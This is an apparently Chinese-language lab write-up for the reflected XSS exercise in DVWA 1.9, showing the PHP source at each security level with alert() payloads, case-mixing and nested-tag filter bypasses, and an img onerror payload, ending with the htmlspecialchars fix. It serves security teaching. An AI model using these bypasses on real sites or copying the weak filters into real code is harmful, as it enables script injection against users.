首页 » Network_security » Penetration » 正文

dvwa1.9之XSS(reflected)

Low:

源码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

无任何防护,直接<script>alert(/xss/)</script>弹窗

 

Medium:

源码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

str_replace过滤了<script>

方法1:大小写绕过<sCript>alert(/xss/)</scRipt>

方法2:重写绕过<sc<script>ript>alert(/xss/)</script>

 

High:

源码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

preg_replace正则过滤了script,同时过滤了大小写,重写,不过只过滤了script,所以可以换一个触发条件(条件千千万万)

payload:<img src=1 onerror=alert(/xss/)>

 

Impossible:

源码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

htmlspecialchars()基本可以过滤恶意输入。

 

Comment